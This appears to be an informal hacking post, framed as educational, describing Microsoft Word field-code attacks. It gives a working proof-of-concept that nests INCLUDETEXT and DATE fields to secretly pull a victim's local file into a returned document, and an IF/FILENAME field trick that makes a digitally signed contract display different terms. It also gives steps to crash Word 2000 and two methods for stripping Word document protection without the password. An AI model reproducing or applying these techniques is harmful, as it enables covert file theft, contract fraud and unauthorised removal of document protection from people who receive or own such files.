Hack microsoft office

This article is just to make u aware of knowm existing threats
only for educational purpose.

I have stumbled onto a couple potential security issue in Microsoft
Word blogs i would like to share. In both cases the adversary (mis)uses
fields to perpetrate the attack. It's important to note that fields are not macros and, as far
as I know, cannot be disabled by the user. I am providing a basic
description along with a proof-of-concept demo. I am fairly certain
that someone with free time and imagination can expand on these
principles, possibly applying them to other products.


Following tradition I'll use Hacker and Victim as the two parties involved.
Hacker will be the adversary.


1) Document collaboration spyware.



Attack Basics: Hacker sends Victim a Word document for revisions. After Victim
edits, saves, and mails it back to Hacker the file will also include
contents of another file(s) from Victim's computer that Hacker has
specified a priori. To achieve this, Hacker embeds the INCLUDETEXT field
into the document. The field results in inclusion of a specified file
into the current document. Of course, Hacker must be careful include it
in such a way that it does not become apparent to Victim. Hacker can do all
the usual things like hidden text, small white font, etc. Alternatively
(and in my opinion cleaner, she can embed the INCLUDETEXT field within
a dummy IF field that always returns an empty string. In this case, the
only way Victim can notice the included file is if he goes browsing
through field codes.


Attack Improvements: The disadvantage of the basic attack is that Hacker
must rely on Victim to update the INCLUDETEXT field to import the file. If
the document is large and contains tables of contents, figures, etc.
then Victim is very likely to update all the fields. However, Hacker would
like to make sure that the field gets updated regardless of whether Victim
does it manually or not. Automatic updates can be forced if a DATE
field is embedded into the INCLUDETEXT and it is the last date field in
the document (don't ask me why).


Proof of concept: Inserting the following field structure into the
footer of the last page will steal the contents of c:a.txt on the
target's computer. Keep in mind the plain curly braces below must
actually be replaced with Word field braces (you can either use the
menus to insert fields one by one, or ask google how to do it by hand).


{ IF { INCLUDETEXT { IF { DATE } = { DATE } "c:\a.txt" "c:\a.txt" } * MERGEFORMAT } = "" "" * MERGEFORMAT }



Countermeasures: The only thing you can do now is decide how paranoid
you want to be. If you must edit and send out a Word file with unknown
origins, you may want to manually go through the fields. It would be
nice to be able to force user confirmation (via a dialog box) for all
includes. Alternatively one could write a scanner. Of course an optional
standalone checker will never be used by those most at risk.


2) Oblivious signing



Attack Basics: Hacker and Victim wants to sign a contract saying that Hacker
will pay Victim $100. Hacker types it up as a Word document and both
digitally sign it. In a few days Victim comes to Hacker to collect his
money. To his surprise, Hacker presents him with a Word document that
states he owes her $100. Hacker also has a valid signature from Victim for
the new document. In fact, it is the exact same signature as for the
contract Victim remembers signing and, to Victim's great amazement, the two
Word documents are actually identical in hex. What Hacker did was insert
an IF field that branched on an external input such as date or
filename. Thus even though the sign contents remained the same, the
displayed contents changed because they were partially dependent on
unsigned inputs. The basic point is that very few users know the actual
contents of their Word documents and it should be obvious that one
should never sign what one cannot read. Of course, Victim could contest
the contract in court. An expert witness (that's actually an expert)
could easily demonstrate that there are unsigned inputs and therefore
it is not clear which version was actually signed. Thus Victim can get out
of the fraudulent contract. However, the same logic will hold for Hacker
and she gets away without paying Victim $100 she signed for. Thus, an
adversary can build in a free escape clause. Note that I am just
speculating about all the legal aspects.


Proof of concept: Inserting the following field structure at the tail
of the document will cause "Hello" to be displayed if the filename is
"a.doc" and "Bye" otherwise.


{ IF { FILENAME * MERGEFORMAT { DATE } } = "a.doc" "Hello" "Bye" * MERGEFORMAT }


Update : this flaw has been fixed in office 2003 onwards
but still works in office 2000 and even sometimes in 2002/03

__________________________________________________________________________

We can
consistently crash Word 2000 using the following method:

1) Open up any text/document editor such as notepad or wordpad
2) type a single word (must be a known word, no punctuation).
3) highlight the whole word and CTRL+C
4) launch word 2000
5) CTRL+V
6) press HOME to take you to the start of the line
7) type I
8) hit the space bar

This consistenly crashes Word 2000 with the following error
message:

DDE Server Window: WINWORD.EXE - Application Error
The instruction at "0x3076a63e" referenced memory at "0x00000000". The
memory could not be "read".





Vulnerability:

remove office passwords
Vulnerable:

MS Word (Win2K/XP)



Example 1

1) Open MS Word with a new/blank page

2) Now select "Insert" >> "File" >> browse for your password protected doc & select "Insert" & "Insert" password protected doc into your new/blank doc

3) Now select "Tools" & Whey hey, voila, there's no longer an "Unprotect document" ... password vanished ...



Example 2

1) open your password protected doc in MS Word i.e. you can't edit protected fields (apparently)

2) Save as a Rich Text Format (RTF) & keep this RTF file open in MS Word (YES, keep open)

3) Whilst your new RTF file is open in MS Word, go "File open" & find your newly saved RTF file & open (YES, you DO need to do 'tis even though you already have it open)

4) If prompted to revert say YES, if not prompted stay calm. Now in your MS Word menu go & "Unprotect document", amazingly, voila, you don't get prompted for a password





Change password if ya like & or save in whatever format if ya like ...